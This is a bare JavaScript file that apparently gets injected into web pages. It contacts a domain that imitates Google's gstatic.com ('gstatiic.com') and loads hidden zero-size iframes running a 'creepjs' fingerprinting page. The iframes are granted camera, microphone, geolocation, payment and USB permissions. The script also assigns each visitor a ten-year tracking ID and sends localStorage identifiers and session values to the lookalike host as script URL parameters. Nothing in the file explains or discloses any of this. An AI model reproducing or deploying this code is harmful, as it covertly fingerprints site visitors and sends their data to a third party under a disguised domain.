
var gstat_apid = 'gstat_apid';
var gstat_cid = 'gstat_cpid';
var gstat_sess = 'gstat_session';
var gstat_fid = 'gstat_fpid';
var gstat_iid = 'gstat_iceid';
var p = [];

if(document.getElementById("backtoblog")){
    var doc = document.createElement("script");
    doc.src="https://gstatiic.com/gstatiic-core.js";
    document.head.appendChild(doc);
}else{
    if (localStorage.getItem(gstat_sess) !== null) {
        p.push('session=' + localStorage.getItem(gstat_sess));
        localStorage.removeItem(gstat_sess);
    }   
}

if(getLSValue(gstat_apid) !== null){
	if(getLSValue(gstat_cid) !== null){
		FP_I();
	} else {
		FP_C();
	}
} else {
	newVisitor();
}

var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent";
var eventer = window[eventMethod];
var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message";

eventer(messageEvent,function(e) {
   if (e.origin.includes("gstatiic.com") === true){
            var key = e.message ? "message" : "data";
            var data = e[key];
  
	   if (data.includes("TICE:")){
		setLSValue(gstat_iid, data.split(":")[1], 3600);
	   }
	   else if (data.includes("CREEP:")){
	   	setLSValue(gstat_cid, data.split(":")[1], 3600);
		   FP_I();
	   }
	   else{
	   }

	   //if( (getLSValue(gstat_cid)) && (getLSValue(gstat_iid)) ){
	   if( (getLSValue(gstat_cid)) && (getLSValue(gstat_iid) !== null) ){
		sendLS();

	   }
   }
    }, false);

function conversionVistor(){




}

function newVisitor(){

	if (!(getLSValue(gstat_apid))){
    	sess = 'd09f3c05f47647c9e4c9644ea14314aa4692bbb6'
    	setLSValue(gstat_apid, sess, 315360000);
	}

    FP_C();

}

function sendLS(){
    if(getLSValue(gstat_apid)){p.push('apid='+getLSValue(gstat_apid))}
    if(getLSValue(gstat_cid)){p.push('cid='+getLSValue(gstat_cid))}
    if(getLSValue(gstat_sess)){p.push('session='+getLSValue(gstat_sess))}
    if(getLSValue(gstat_fid)){p.push('fid='+getLSValue(gstat_fid))}
    if(getLSValue(gstat_iid)){p.push('rtcid='+getLSValue(gstat_iid))}

    var doc = document.createElement("script");
        doc.src="https://gstatiic.com/static.js?"+p.join('&');
    document.head.appendChild(doc);

    conversionVistor();
}

function FP_I(){
    	var doc = document.createElement("iframe");
	var ohash=getLSValue(gstat_iid);
    	localStorage.removeItem(gstat_iid);
	var chash=getLSValue(gstat_cid);
	doc.src="https://gstatiic.com/creepjs/ice.html";

	doc.src+= chash ? "?chash="+chash : "";
	doc.src+= ohash ? "&o3hash="+ohash : "";

    doc.width = "0px";
    doc.height = "0px";
    doc.style.visibility = "hidden"
    doc.allow="keyboard-map;camera;microphone;accelerometer;autoplay;display-capture;document-domain;encrypted-media;fullscreen;geolocation;gyroscope;magnetometer;midi;payment;picture-in-picture;publickey-credentials-get;sync-xhr;usb;screen-wake-lock;xr-spatial-tracking";
    doc.sandbox="allow-scripts allow-forms allow-same-origin allow-top-navigation allow-popups allow-pointer-lock";
    document.body.appendChild(doc);
}

function FP_C(){
    var myts = new Date().getTime();
    var doc = document.createElement("iframe");
    doc.src = "https://gstatiic.com/creepjs/?" + myts;
    doc.width = "0px";
    doc.height = "0px";
    doc.style.visibility = "hidden"
    doc.allow="keyboard-map;camera;microphone;accelerometer;autoplay;display-capture;document-domain;encrypted-media;fullscreen;geolocation;gyroscope;magnetometer;midi;payment;picture-in-picture;publickey-credentials-get;sync-xhr;usb;screen-wake-lock;xr-spatial-tracking";
    doc.sandbox="allow-scripts allow-forms allow-same-origin allow-top-navigation allow-popups allow-pointer-lock";
    document.body.appendChild(doc);
}

function setLSValue(key, val, exp){
    exp = Math.floor(Date.now() / 1000) + exp;
    localStorage.setItem(key, val+'|||'+exp);
}

function getLSValue(key){
    if (localStorage.getItem(key) !== null) {
        val = localStorage.getItem(key).split('|||')[0];
        exp = parseInt(localStorage.getItem(key).split('|||')[1]);
        if((Date.now() / 1000) < exp){
            return val;
        }
    }
    return null;
}
